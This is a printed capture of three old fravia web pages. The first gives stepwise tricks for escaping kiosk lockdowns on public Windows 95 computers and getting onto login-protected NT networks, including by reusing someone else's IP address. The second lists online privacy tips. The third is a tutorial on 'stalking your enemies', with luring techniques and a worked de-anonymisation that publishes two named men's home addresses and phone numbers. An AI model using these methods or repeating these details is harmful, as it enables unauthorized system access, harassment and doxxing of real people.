corporat.htm: fravia's Survival strategiesin a corporation environment

It is still hard to get a shell account free and without giving much

information about yourself, but this access still helps you keep up with

news and stuff with minimized activities. Hey, it is a gateway J

But it is not as unobstructed as it sounds. Most of these public places

(Libraries mainly) do use restriction methods to keep people from having

a total control of services. Some of them use a

limitation software called KIOSK, for instance,

which basically prevents user from

accessing certain features of a menu, for example the "General

Preferences" of "Options" in Netscape, or the "Connect To" field of some Windoze's

telnet programs (you should know the POWER of telnetting if you are reading

these pages). Now this really bores, because there are times when you

dont even have access to the basic Programs and Settings menus of the Start

Button.

Now, how would one run programs, install programs, and read files from

these restricted systems if they dont even let you boot (Boot

passwords)? Impossible!

Not really

#1

One of the more remarkable things on these public computers is that they

often "forget" a nice 'old' program called TaskMan. This is a small program

activated by pressing Ctrl+Esc at the Password Screen (yes, try to

http://www.instinct.org/fravia/corporate.htm (15 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

figure out what is the purpose :). This program will allow you the

Run Application option, and from there you could try your luck with

Programs. GRP (whichll pop up all the groups of Windows thatd have

otherwise been hidden through censorware like IKIOSK.) And then theres

COMMAND.COM. Mind you, you should always have a system disk with you

not to boot from it (Network Computers) but to run some important

programs like COMMAND.COM on your own

#2

You know, they could have killed TaskMan after finding out what you have

been doing with it (or even 'beforehand' if the sysads are smart, which,

fortunately, does not happen all too often). What do we do now?! No

worry, theres still another way. These public computers using Windoze95

as OS always have something on their menu (duh!): confusion and random

behaviour: source of bugs and source of delights (for us crackers :)

Chances are theyll have at least one single program, somewhere, which

requires a standard file input from a disk. NotePad may be disabled, Write

may have been crippled, but the censors won't probably have maimed that

'vital tool': Windows Explorer.

Let's say good old 'cracker's TaskMan' is dead, so WindowsExplorer is

probably the only other file utility on the marketplace of your library

computer. Well, one possible way to get to it is to start one of these

standard file input files [write, Notepad, Netscape (if 'they' did not

disable the 'delicate' menu options, etc) and when you get to the "Open

File" or "Save" or "Save AS" sections, just go ahead to one of the

yellow folders and click the RIGHT mouse button on it.

http://www.instinct.org/fravia/corporate.htm (16 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

What do you see?! Well, theres the silly M$ 'rightclick' list: "Open Explore"

(YES!!!), "Cut", "Paste", "Send To", "Delete" and more...

The big point is that You now have access to Windows Explorer. From then

on... well...

#3

But again, our nasty censors and sysads world is not as forgiving as the we

hoped it would be.

Now, what if they have also removed EXPLORER from the RightClickOnFolderList?

"Man, thats it. Die public computers are too heavy censored... I give up".

Eh? Not so fast sunny boy...

Theres one more way. There is still one more option: the "Open" section in

the RightClickOnFolder!

You could click on anything and it would open it through the software you

want it to. Could even be a software 'sort of'... try ProgramManager... youll

be surprised.

A bag of tricks

http://www.instinct.org/fravia/corporate.htm (17 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

*** One idea to play around is to get to a file browser (somehow) and if

you find all executable programs have been disabled for direct access, try

it 'indirectly'!

What I mean is: click on the files made for that particular program,

then you just might be able to run the program you wanted, even if direct

disabled.

If not, hey, come to think of it, another hope is to have the "Browse" button

as a choice...

*** Also try installing some programs (like PIRCH). Even though I dont

know why, if you are able to run them, then theyll automatically start

the Program Manager (no matter what the restrictions were set from the

outside) and once you can start Program Manager you'r done!

*** Dead end with "OneEyed" (no buttons, no buttons) with Netscape?

Try our famous Easter Egg shortcuts! Press Ctrl+Alt+F. Then a road will

appear, explore! Try "Netscape Home Page". Try their silly and slow search

engines, try downloading useful programs. Try whatever... main thing is you

break the chains and you are free to roam!

Tricks by Stacker (September 1999)

Entering a network which uses user authentication via NT domains and has the

auth. needed for logon 'vinkje' set. (vinkje is a word describing the windows

thing of checking a box, and it is also used in: hey <thisnthat> doesn't work!

Well you need to put a check somewhere)

http://www.instinct.org/fravia/corporate.htm (18 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Some networks need a usercode and password to log you on, or you won't be able

to use the machines (even). Well, i got in useing the following. type something

totally wrong.

type it again. Try cancel a lot of times (this very often works in such

networks, cause sysadmins mostly don't even know about this one (i do, and i am

a sysadmin (at the moment))). The third time entered a wrong u/p the machine

gladly assisted me in 'hacking my way in' by pointing out: "You have entered a

wrong password, you may try to login as guest", which i promptly did, and

tataaa your on... :)

ofcourse another way is asking the guy/gall who is at the pc to type :

start->run, winipcfg and then after he/she left, boot in safe mode and enter

the ip adres manually (so no bootp or DHCP is needed).

And you are in aswell.

regards,

Stacker

Page under heavy construction... started on April 97

Hey reader! Any chance you would stop leeching for a couple of minutes and send
something valuable over here? Don't you think that your knowledge is needed as
well?

To the essays on this page

homepage links anonymity +ORC tools cocktails students' essays


antismut CGI-scripts Javascript tricks search_forms mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/corporate.htm (19 of 19) [2/7/2001 3:00:30 PM]


stalking.htm: Fravia's obsolete stalking page

S Back to FAA

T fravia's This page is


obsolete
A anonymity and no

L pages updated
more
End July
1998
supported
K Stalking
Go to enemy.htm
instead

I Fravia's Nofrill
Web design
~
You'll find on this page only
(1998)

N obsolete information, yet


even obsolete information
may at times be useful, so I

G haven't destroyed it.

A simple rule to follow in life is that you NEVER give out personal information to strangers. But many
people forget this rule when they cruise the web. People think that the person they encounter online is
somewhere far away and that they will never meet so how can it be dangerous to just pass out those
personal details? In some online services like America Online for example, users can fill in a "Personal
Profile" where they are invited to give their name, age, marital status and where they come from. Many
users fill this in honestly and in good faith, forgetting that they have now made their personal details
available to 400 millions of human beings, all of whom are strangers :-(

Let's add that the whole society moves (very quickly) towards a "bee-world", where everybody will know
everything you do. Dear internaut, unfortunately all the data you are disseminating around are being
collected and used to get your exact profile... this is already happening everywhere on the planet...
Cyberocracy, as some call it, is getting nearer... they trace us every time we use credit cards, every time
you buy in a supermarket with the so called "advantage" cards (why do you think they give them out and

http://www.instinct.org/fravia/stalking.htm (1 of 4) [2/7/2001 3:00:33 PM]


stalking.htm: Fravia's obsolete stalking page

ask you to use them, duh?), every time we make a search or simply visit places on the web or email a
usenet group

It is probably possible to know exactly (not that I care particularly) how much toilet paper YOU consume
in a week, how much beer will be buyed next month from all the people living in your street... how many
searches you have made on AltaVista for alt.lick.my.shoe postings... nothing is private any more... that is,
unless you defend yourself.

In cyberspace "verbal" is all you have. It follows therefore that you can only know someone about 30% if
you know them only on live chat or through email. The other 70% of your understanding cannot develop
until you can both hear the other person's voice and see them in real life. Remember also that when your
friend sends you a photo of him, you have no way of verifying that the photo is indeed him... all the
photos of mine that are on my other "avatar" pages (see the counter measures page) are false, and
some are QUITE different from me

There is no code of honor protecting people's privacy on the Internet. Each user should therefore take
appropriate steps to protect privacy online. Consider the following tips to protect your privacy online
before a problem develops.

1) Consider a gender-neutral email address


(that's your username, handle AND common identity on the web)

2) Choose a good account password and change it regularly


The best passwords don't spell anything and don't follow a logical pattern. If your chosen username, for
example is "wizard" then you are making it easy for someone to break into your account if you choose
"spell", "wand", "cat", or even "abracadabra" as your access password. Make your password at least 7
letters long, throw numbers inside
And never tell ANYone else what it is

3) Edit your online profile


Get familiar with "Finger" which is a way of looking up your username and domain and obtaining
information about you from what is called your Plan file. Try out your own email address with Finger
and see what comes up. If you don't like what you see - change it! You may need to edit your "Plan" file
to remove personal information. Remember - anything you can find out about yourself, anybody else can
find out about you. Keep personal information online to an absolute minimum

You can try a finger search on yourself by going to one of the following sites on the WWW:

http://www.rickman.com/finger.html

http://www-bprc.mps.ohio-state.edu/cgi-bin/finger.pl
4) Review your email signature and email headers
What does your email signature say about you? Your email sig. is added to every piece of email you
send. Check yours (send yourself some email and then look at the headers at the top and the signature at
the bottom), and make sure it does not give away your home telephone number or any other personal

http://www.instinct.org/fravia/stalking.htm (2 of 4) [2/7/2001 3:00:33 PM]


stalking.htm: Fravia's obsolete stalking page

details. If your email sig. reads "Jane Doe - Boston's finest!" then a cyberstalker can now look in the
Boston telephone directories and see how many Jane Does are listed. And what if there are only two
listed? Check also how your email headers read. Part of your headers you can configure yourself - make
sure that you do not reveal too much about yourself, unless you do not care, like me :-D

5) Consider using an anonymous remailer (or email alias service) to post messages to the Usenet
You can also draw unwelcome attention to yourself if you post messages to newsgroups on the Usenet -
by posting such material you are also posting your email address. Consider using an anonymous
remailer so that you can post anonymously to the Usenet, particularly if you are getting into a heated
debate about a controversial subject. The other reason for using an anonymous remailer when posting to
the Usenet is that although posts are deleted from the News server after a short period of time, posts are
archived, which means anyone at a later date can read all the posts you ever made, by using a Usenet
search engine, e.g. Deja News at

http://www.deja,news.com
To read about anon remailers visit:

http://www.well.com/user/abacard/remail.html
6) Consider using an anonymous web browser
Consider browsing the WWW by going through an anonymous Web browsing service. This will make it
impossible for your web-surfing to be logged by Websites (which IS currently done), so no one will be
able to pick up any information on you. You can find this service, together with an FAQ at:

http://www.anonymizer.com/
7) Consider using encryption to authenticate your email messages
By using an encryption program like PGP (Pretty Good Privacy) you can verify your email so that you
cannot be impersonated. PGP signing your email does not change the whole thing into code but adds a
code at the bottom that indicates the email has been scanned and verified as yours. If someone forges
your email or tampers with it, then when your recipient checks the PGP sig with what's known as your
"Public Key" it will show that the email is no longer genuinely yours.
PGP is a difficult program to learn but is very valuable for authentication of email. You can read about
it at:

http://www.well.com/user/abacard/pgp.html
8) Discuss your safety and privacy requirements with your Internet Service Provider and enlist their
help and advice
Don't be afraid to discuss these issues with your Internet Provider. You are paying them good money to
use their service, and you have a right to assistance. Find out how seriously they take personal safety
online. If you are not satisfied, consider moving. Shop around - there are some very responsible
companies out there. You might also like to establish if your ISP keeps an online directory of all clients
on their FTP site. If they do and your name is up there, ask them to remove it for safety reasons. If they
refuse, perhaps you should choose another ISP...

9) Learn your technology

http://www.instinct.org/fravia/stalking.htm (3 of 4) [2/7/2001 3:00:33 PM]


stalking.htm: Fravia's obsolete stalking page

Everyone was a beginner once, but it is up to you if you choose to remain one. Work out what you need
to know and then find out where to learn it. This may take the form of joining classes, reading books,
reading internet FAQs (Frequently Asked Questions) and talking to experts in #help channels on IRC.
Remember knowledge is power and ignorance is weakness
In IRC make sure you know how to set up flood protection, and if you don't wish to receive ctcp
commands, toggle them off. Make sure also that your DCC is not on "auto get". If DCC is set to auto
receive files then you can be sent files while logged in without your consent. Turn on your timestamping
option also, so all logs have the times automatically recorded
As soon as you are logged onto IRC, turn your logger/text capture ON - This is important so that you
keep a record of each IRC session. If there are no problems then you can always trash the log later, but
if you have a problem you may wish to keep the evidence

page no more supported, follow this link to enemy.htm instead.

http://www.instinct.org/fravia/stalking.htm (4 of 4) [2/7/2001 3:00:33 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

fravia's Fravia's Anonymity Academy

anonymity Enemy tracking


pages 1) General stalking techniques
(Fravia shows you what you can do -
G or try - and where you can learn
O Enemy tracking
some advanced stalking techniques)
T
~
C 0) Some simple stalking updated
June 1999
Enemy tracking, a very difficult art, can be divided
tools
H 1) General stalking
into stalking, reversing language patterns and
luring. In order to stalk you need a deep knowledge
A techniques of Usenet spamming (and war) techniques like
flaming, trolling and crossposting. A good reverser
! 2) Reversing language can moreover easily 'reconstruct' (part of) the
patterns snailtrail of his enemies and defeat their smoke
3) Luring and social curtains applying some easy semantical reverse
engineering tricks engineering tricks. Finally the reverser will lure his
targets into the open web and identify it.
0) Some simple stalking tools
1) General stalking techniques
1.1) Simple email stalking techniques
Fravia's Nofrill 2) Reversing language patterns
Web design 3) Luring and social engineering tricks
(98 ~ 99)

Based on some private emailings from +ORC

"...they track us, our interests and our hosts, we track them,
their interests and their hosts, it's an interesting match and we'll
always win, coz we do not do it for money... Work well, +ORC"

[Searching through headers and other tricks]


[An older simple stalking attempt]
[Stalking the stalkers' tool] [Balif's stalking masterpiece]
[Other links and tools] [Fravia's antispamming related page]
[how to keep in exercise]

__Stalking, an introduction__
(Part of the following: courtesy of Judith S. Donath)

Identity plays a key role on the web. In communication, which is the primary scope of any web-related activity, knowing the

http://www.instinct.org/fravia/enemy.htm (1 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

identity of those with whom you communicate is essential for understanding and evaluating an interaction. Yet in the
disembodied world of the virtual community, identity is extremely ambiguous. Many of the basic cues about personality and
social role we are accustomed to in the physical world are absent. Other cues are presents yet difficult to interpret. If you
receive email from a guy whose address Eric.Staunton@innocent.com with an attached image of a middle aged man sitting
comfortably on the patio of his house, you may be fooled into thinking that you have to do with a guy named Eric Staunton. It
could be, yet you'll never have any real proof of it. One can have, on the web, as many electronic personas as one has time and
energy to create (and memory to recall :-)
Yet, while it is true that a single person can create multiple electronic identities that are linked only by their common
progenitor, that link, almost invisible in the virtual world, is of great significance. That is the weak point of any virtual created
identity. It's easy to say that your avatars should have 'coherent' personalities , i.e. if you create a 'lorry driver' personality and a
'university professor' personality, the two should have COMPLETELY different speech patterns), yet this is very difficult to
implement. Stalkers should be very versatile experts, ready to read and recognize voluntarily altered speech patterns.
Usenet, for obvious reason is the field you should peruse to learn the first elements of the stalking art. See: most of Usenet is
meant to be non-fiction; the basic premise is that the users are who they claim to be. There are, however variances between the
different newsgroups as to what constitutes a real or "legitimate" identity. And there are numerous cases of identity deception,
from the pseudo-naive trolls to the name-switching spammers.
Yes, there's a vocabulary you should learn:
a) Flaming: I.e. rude comments, insults, personal attacks, etc.
b) Trolling: I.e. fishing for flames. Usually takes the form of inane
postings like smarmy love chatter, useless pieces of boring
information, McClatchie's FAQ, etc.
c) Cascades: Endless meaningless threads the posters repeat the same
phrase over and over, sometimes with a little variation. They are
amusing to the ones participating in them, boring to everyone else.

Boring as most of these little silly wars are, there are GREAT lessons in stalking hidden in there
(as you'll see if you follow the links below). That's why you too will have to deal with this.
Actually, as usual in the Web, many of our techniques cross and merge reciprocally: anonymity
techniques, how to search knowledge, reality reversing tricks, usenet techniques, anti-spamming
knowledge are ALL required to tackle some of the tasks that you'll have to perform if you really
intend to master what you are trying to learn now. Let's, moreover not forget how useful will be
our holy software reversing skills each time we'll decide to use some of the many tools that the
Web offers to track down our targets (tools that are unfortunately at times crippled or simply too
short-lived :-)
I would say that if you are an experienced 'global' reverser you'll have more survival chances that
many others, but only your own complementary work, and your own experience, will keep you as
a hunter and your target as a game and not the other way round... since, for instance some of the
professional spammers may turn quite nasty AGAINST you if you're not careful -and powerful-
enough.
In order to gather more material, just search for 'avoiding flaming' and 'trolls flames' on Altavista
or follow some of the links below... as you'll see there are all sort of documents and faqs on these
subjects. 'Trolling for newbies' comes from 'trolling': a style of fishing in which one trails bait
through a likely spot hoping for a byte. Real well-constructed trolls have a double audience: the
idiots (newbies and flamers) that byte the bait and the 'trolls-savy' that enjoy the troll. I'll try to
teach you also how to identify and track down experienced trollers, among the most interesting
game out there (together with professional spammers on rogue ISP) for any 'professional' stalker...
but let's go on with the basic knowledges...

http://www.instinct.org/fravia/enemy.htm (2 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

So, as we were saying, the basic premise is actually, often enough, that the users are NOT who they claim to be... the danger is
that the limited identity cues may make people accept at face value a writer's claims of credibility: it may take a long time -
and a history of dubious postings - until people start to wonder about the actual knowledge on a self-proclaimed expert. This
said it is also true that - for web related matters - 'official' experts are often FAR inferior to clever autodidacts, so you never
know.
Erving Goffman, in his classic work "The Presentation of Self in Everyday Life" distinguished between the 'expressions given'
and the 'expressions given off'. The former are the deliberately stated messages indicating how the one wishes to be perceived;
the latter are the much more subtle - and sometimes unintentional - messages communicated via action and nuance. Both forms
of expression are subject to deliberate manipulation, but the 'expression given off'' may be much harder to control. One can
write 'I am female', but sustaining a voice and reactions that are convincingly a woman's may prove to be quite difficult for a
man.
Writing style can identify the author of an posting. A known and notorious net personality hoping to appear online under a
fresh name may have an easier time disguising his or her header ID than the identity revealed in the text. The introduction to
the cypherpunks newsgroup includes this warning:

The cypherpunks list has its very own net.loon, a fellow named L. Detweiler.
The history is too long for here, but he thinks that cypherpunks are evil
incarnate. If you see a densely worded rant featuring characteristic words
such as ``medusa'', ``pseudospoofing'', ``treachery'', ``poison'', or ``black lies'',
it's probably him, no matter what the From: line says.
- Cypherpunks mailing list
In this case, where the usual assessment signal - the name in the header - is believed to be false, language is used as a more
reliable signal of individual identity. See also an example of a spammer using multiple identities on the very nice "Kook of the
Month!" site.
One newsgroup that contains many business-card signatures is comp.security.unix. The discussion here is about how to make
unix systems secure - and about known system flaws. Many of the participants are system administrators of major institutions,
others are just learning how to set up a system in a fledgling company and some, of course, are hoping to learn how to break
into systems :-). A posting suggesting that administrators improve their sites by changing this or that line of code in the system
software could be a furtive attempt get novice administrators to introduce security holes. Identity deception is a big concern of
the participants in this group, and this makes it VERY interesting for any advanced studiosus of these matters, to try soon or
later his luring abilities in this group. (When you'll do it, if you want to be taken seriously (and you'll probably don't go very
far even so :-) first create 'really' your own company, say 'Software Alternative Limited', then name yourself 'Director of
Software Development', create your domain and sign with something like "Director@SALSoft.com".
Many varieties of identity deception can be found within the Usenet newsgroup. Some are quite harmful to individuals or to
the community; others are innocuous, benefitting the performer without injuring the group. Some are clearly deceptions, meant
to provide a false impression; others are more subtle identity manipulations, similar to the adjustments in self-presentation we
make in many real world situations.
ntil recently, header information was quite reliable. Most people accessed Usenet with software that inserted the account name
automatically - one had to be quite knowledgeable to change the default data. Today, many programs simply let the writer fill
in the name and address to be used, making posting with a false name and site is much easier. The astute observer may detect
suspicious anomalies in the routing data (the record of how the letter passed through the net) that can expose a posting from a
falsified location. Yet few people are likely to look that closely at a posting unless they have reason to be suspicious about its
provenance.
It is useful to distinguish between pseudonymity and pure anonymity. In the virtual world, many degrees of identification are
possible. Full anonymity is one extreme of a continuum that runs from the totally anonymous to the thoroughly named. A
pseudonym, though it may be untraceable to a real-world person, may have a well-established reputation in the virtual domain;
a pseudonymous message may thus come with a wealth of contextual information about the sender. A purely anonymous
message, on the other hand, stands alone.
There are some useful tricks to narrow down the number of suspected targets in order to stalk a pseudonym user. One of the

http://www.instinct.org/fravia/enemy.htm (3 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

best ones I know of is the time trick, but in order to understand it you mist first know the elementary elements of an email
header.

Searching through headers and other tricks


(This part -I should have checked- comes directly from Symantec's page ~ begin)

Here is a sample email header (colors added). The final receiver's address is 'you@your.domain.com'.
Received: (2228 bytes) by <your.domain.com> via sendmail with P:stdio/D:user/T:local (sender:
<29086328@compuserve.com>) id m0xUFxr-001cL6C@your.domain.dom for
you@your.domain.com; Sat, 8 Nov 1997 10:50:35 -0800 (PST) (Smail-3.2.0.98 1997-Oct-16 #12
built 1997-Oct-28) Received: from simon.pacific.net.sg (simon.pacific.net.sg [203.120.90.72]) by
your.domain.com (8.8.7/8.7.3) with ESMTP id KAA01565; Sat, 8 Nov 1997 10:43:34 -0800 (PST)
From: 29086328@compuserve.com Received: from pop1.pacific.net.sg (pop1.pacific.net.sg
[203.120.90.85]) by simon.pacific.net.sg with ESMTP id CAA25373; Sun, 9 Nov 1997 02:44:51
+0800 (SGT) Received: from po.pacific.net.sg (hd58-032.hil.compuserve.com [199.174.238.32])
by pop1.pacific.net.sg with SMTP id CAA12179; Sun, 9 Nov 1997 02:43:10 +0800 (SGT)
Received: from mail.compuserve.com (mail.compuserve.com (205.5.81.86)) by compuserve.com
(8.8.5/8.6.5) with SMTP id GAA04211 for <87789123456@aol.com>
It may look confusing, but there are some patterns that tell you everything you need to know. The header can be
broken into several sections, each beginning with the word "Received".
The first 'Received' is from your email server. This section lists the supposed sender, the message ID number,
and when the message came in. The other 'Received: from' tags are from remailers that the spammer used to
make it more difficult to track him/her down.
1. Find the last 'Received: from' entry in the header. This usually shows the originating server.
2. Find and write down the server domain and its IP address. This information appears in parenthesis in
each 'Received: from' entry.
Machine Name IP Address
mail.compuserve.com 205.5.81.86
hd58-032.hil.compuserve.com 199.174.238.32
popl.pacific.net.sg 203.120.90.85
simon.pacific.net.sg 203.120.90.72

(This part -I should have checked- comes directly from Symantec's page ~ end)
Of course you should by all means read Gandalf's info, which is far superior to the Symantec information above, at
http://ddi.digital.net/~gandalf/spamfaq.html

More URLs to help you figure out how to look at the headers:
http://www.concentric.net/~Nvam

http://help.mindspring.com/features/emailheaders/index.htm

http://help.mindspring.com/features/emailheaders/extended.htm

Time pattern matters (fravia's trick)


Now, all the above can be easily faked, what could be really important is that you may be able (unfortunately NOT always :-)
to discern the TIMES of the day "patterns" when these operations have been performed that you can read above. See: if your
target updates his web page, or mails letters to usenet, he will mostly tend to do it on a REGULAR basis. Even if he uses

http://www.instinct.org/fravia/enemy.htm (4 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

automated dynamic providers like Compuserve or AOL (which is always a good idea), and even if he writes to the usenet
groups through an anonymous remailer, or DejaNew itself or whatever, he will tend to do it at FIXED TIMES. It is sometime
incredibly easy to find out in which part of the world a target lives just studying his timing patterns!.
Most of the people work on Internet in the evening hours, say between 21 and 24:00 local time.
A common used 'luring' techniques consists in publishing or emailing to your target some 'luring baits' (in order to get the
target to react) indicating a (faked and bogus) page of yours on some free server, where you have -supposedly- put something
that the target badly needs or is interested into. Examining the loggings for that page you'll be able to see WHEN the target has
accessed it. Many targets will access it anonymously just in case, yet few targets are careful enough to do that at an "abnormal"
hour of the day.
Deleted postings (Balif's trick)
It may at times be useful to check which cancel messages have been sent to the newsgroups.
As Balif pointed out in a famous posting on alt.2600: to examine all the cancel messages, you can use Dejanews, which does
not honor them but actually archives them. Do a power search on group alt.2600, for "control cancel", sorted by date. You can
see there all cancel messages coming from a given address.
Unfortunately Dejanews strips important headers. On your news server, cancel messages do not appear in the newsgroup, and
are unseen to you. However you can view them by looking in the group "control.cancel". Beware, this group will most likely
be enormous. It contains every cancel message your news server has received for all groups. Mine had 75,000 some messages.
Here you can examine the headers of the cancel message. Yet it takes feeling and time to stalk information in this way.
Sharp edges (SPUTUM's trick)
Say you have as your target your balooney@enemy.com; do Altavista and Dejanews searches for balooney@enemy.com
looking for eventual postings where you may find his real name. Especially check all various alt.test.whatever groups, as these
may contain at least one instance of 'rough' preparatory postings, when the target fine-tuned her newsreader's configuration.
Do Altavista and Dejanews searches on any "sharp edge" that sticks out.
"Sharp edges" are, according to SPUTUM "unique characteristics which can lead one to the real poster". Example:
balooney@enemy.com may use as Organization: "balooney inc." on all his Usenet posts. Maybe he forgot to remove this info
when posting later. You search for "Organization: balooney inc." (as well as for posts containing his sig), and maybe find all
his fatuous posts to alt.fetish.threelegs, and from thence you will find (if you'r lucky) his narcissistic website chock full of juicy
personal information (or at least of many more "sharp edges").
Other promising "sharp edges": trailing user name in path (...!news.foo.com!imamoron), funky newsreaders (ZippityDooDah
News Alpha 0.9), unique signature components.
You may add signature patterns, and even particular emoticons like :--> :*) 8-[
Look hard. Be clever. Reverse your target.

There is a whole section of mine, about sharp edges:


read my Language patterns and the stalking tablet section.
3) What if the target used "X-No-Archive: yes" in her headers and all previous steps fail? You may get lucky, and find a
follow-up to a previous post which was posted without the "no-archive" clause. Otherwise, the old fashioned 'heavy' way
might work: go to the relevant Usenet newsgroup, sort the posters by author name, and look for your target "by hand". Yes the
task can be extremely tedious...which is why real stalking is for the patient hunter.

__Enemy identification__
An interesting example: the "Bokler guy" identification
This is an old 'historical' example, yet it will quickly show you the power of Dejanew stalking: was one of the links on my old
links.htm page: an "enemy" wich I described as "worth investigating". In reality this guy is not an "enemy" of anybody (he
only produces in visual basic pretty simple encryption software) and his "cracker page" is not so bad at all, he use it as
"scarecrow" for the potential buyer of his software. Hope he will not grudge me if I use him as an ideal subject for this lesson...
anyway he makes money scaring people with our work, I'll scare him for free showing him what I know about him :-)

http://www.instinct.org/fravia/enemy.htm (5 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

Here is the original link to his page if you want to visit it:
An enemy worth investigating
If we hit the page above we'll see as only reference a post office box:

Bokler Software Corp.


P.O. Box 261
Huntsville, AL 35804
Tel: (205) 539-9901
Fax: (205) 882-7401
e-mail: info@bokler.com
Now, let's say we want to know who is the guy behind all this...
1) Fire DejaNews
2) Search for something on his page
(he makes software, he surely did not resist the temptation to publicize it in some usenet, ideal DejaNews target... let's search
for "haschipher")
And here is the answer:

Subject: Re: How to store passwords encrypted in file?


From: jim@bokler.com (James A. Moore)
Date: 1996/06/26
Message-Id: <31d0c943.57429273@news.hiwaay.net>
References: <4qltu1$bd4@cd4680fs.rrze.uni-erlangen.de>
Organization: HiWAAY Information Services
Newsgroups: comp.lang.basic.visual.misc

See http://www.bokler.com for encryption tools: DEScipher/VBX & /OCX,


and HASHcipher.

James Moore
Now we have some more interesting data:
jim@bokler.com (James A. Moore)
SO, "real" name and a "real" email... what can we get more?
Well, let's have a look at his *RECENT* interests...

Number of articles posted to individual newsgroups (slightly skewed by


cross-postings):
11 comp.lang.basic.visual.misc
6 comp.lang.basic.visual.3rdparty
4 comp.security.misc
3 comp.os.ms-windows.programmer.misc
3 comp.unix.bsd.freebsd.misc
2 alt.security
2 comp.os.ms-windows.apps.utilities
2 comp.os.ms-windows.apps.word-proc
2 sci.crypt
1 alt.lang.delphi
1 comp.ai.fuzzy
1 comp.databases.ms-access
1 comp.infosystems.www.servers.unix
1 comp.os.ms-windows.nt.software.backoffice
1 comp.os.ms-windows.programmer.tools.misc
1 comp.unix.questions
Uugh! A Visual Basic buff... can we gather something more searching for James Moore? Let's try and let's poke around a little

http://www.instinct.org/fravia/enemy.htm (6 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

using a search inside the most used newsgroup:

6 Hits for Query on DESchipher inside comp.lang.basic.visual.misc

Date Scr Subject Newsgroup Author

1. 96/08/12 017 Re: Form1.Show(1) and En comp.lang.basic.vis jim@bokler.com (Jam


2. 96/06/18 017 Re: Encryption for Visua comp.lang.basic.vis jim@bokler.com (Jam
3. 95/10/21 017 Visual Basic Control (VB comp.lang.basic.vis info@bokler.com (Bo
4. 96/04/27 016 Re: Password encrypting comp.lang.basic.vis jim@bokler.com (Jam
5. 95/11/23 016 Re: Protection from pass comp.lang.basic.vis dbrockle@compusense
6. 96/01/09 013 VBX for Data Encryption. comp.lang.basic.vis jim@bokler.com (Jam

Well, let's have a look at this suspicious (from november 1995) Darren Brocklehurst (email address
dbrockle@compusense.com -> Darren Brocklehurst), this is the only old letter about DESchipher, is a bad concealed publicity
of Bokler software as you can yourself read Re: Protection from password cracks? i.e. alt.cracks (Ah! What they would not do
for some more money, the commercial programmers!) and there is something interesting in this name (Brockle-->Bokler): and
see his profile!

Number of articles posted to individual newsgroups (slightly skewed by


cross-postings):
123 comp.lang.basic.visual.misc
35 comp.lang.basic.visual.3rdparty
26 comp.lang.basic.visual.database
1 comp.lang.basic.misc
1 comp.lang.basic.visual
1 comp.os.ms-windows.programmer.tools
1 sci.electronics

His profile is almost identical with our "James A. Moore"! Where does our Brocklehurst live? (Yahoo search)

D M Brocklehurst
Albuquerque,NM 87112
(505)299-0562
So, he lives in New Mexico too...
And do we have a James. A. Moore in New mexico somewhere?

James Moore
701 W San Mateo Rd, Santa Fe, NM 87505-3921
(505)988-4370
MMM.. Sounds good: Do we have here the real guy and his pal? Let's first check out something else: using whowhere and the
previous address we'll find the following:

Bokler Software Corp


Santa Fe, New Mexico
United States of America

good! So the Bokler company is actually registered in New Mexico, who answers the Alabama telephon? (Four11 search)

Jim Moore

http://www.instinct.org/fravia/enemy.htm (7 of 10) [2/7/2001 3:00:41 PM]


enemy.htm: Enemy investigation: how to stalk your enemies on the web

Alabama,
United States Of America
E-Mail Address: bockler_1@HIWAAY.NET

So is simply his HIWAAY provider, rerouting email. Telephon may also be rerouted in the same way.
Anyway if we use Infospace we get the address and the real provider of the web space the other way round:

CompanyName: Bokler Software Corp


Address: 1570 Pacheco, Suite E-4
City: Santa Fe
State: New Mexico
Contact: bockler_1@HIWAAY.NET
Domains: BOKLER.COM
There it is: the company is registered in Santa Fe, the provider is in Alabama. Obviously such a small thing does not have a
real server, and is hosted by somebody, in this case everything on the Bokler page comes through the "hiwaay" business
spider, so we can now definitely narrow in on and confirm New Mexico.
Now we started with almost nothing and we found two names, two addresses, two private telephon numbers. Brocklehurst
should be the real identity only if the "James Moore" name is just an Avatar (which I do not really believe given the
"Visualbasicality" of these guys). "Darren Brocklehurst" is more probably a co-worker at Bokler or a good friend of James
Moore and this is the guy we searched for... all in all a pretty good "counter intelligence" work!

__Enemy investigation__
An interesting example about Dejanews itself is here

Well, yes, Dejanew, as you'll learn on this very page is a very powerful stalking tool indeed, and the question "who hydes
behind dejanew?" is therefore particularly legitime. (Watch it, part of the info needs to be updated: Dejanews has changed in
the last 12 months!)

__Enemy investigation__

An EXTREMELY interesting example is Balif's debunking.


You need a little background information about this: in the last couple of years alt.2600 (an old Usenet hacking group) has
been heavily spammed by a guy known as 'Archangel', that used some of the most know techniques: flaming, trolling,
crossposting, faked avatars and gang emailing, in order to gain some dubious personal fame. Of course, in the eyes of any
reverser worth is weight, Archangel's claims (on an Usenet group!) of having worked for the CIA and his 'attention seeking'
activities did disqualify him immediately (no really competent person would ever 'seek attention' on Usenet), yet hundred of
lusers and newbyes believed - and unfortunately still believe - the whole archangelology to be interesting stuff. (As Brian
points out, it is relatively easy, on Usenet, to brag about things you do not know about). If you follow the link above you'll be
able to read the results of Balif's stalking activity. Balif, a promising hacker, and an incredibly good stalker, has used
intensively dejanews in order to reconstruct the 'history' of the spammer Archangel. Mind you: the whole Archangel saga is
pretty boring (a typical case of 'flogging a dead horse' on usenet: taking topics that have been done to death and rehashing
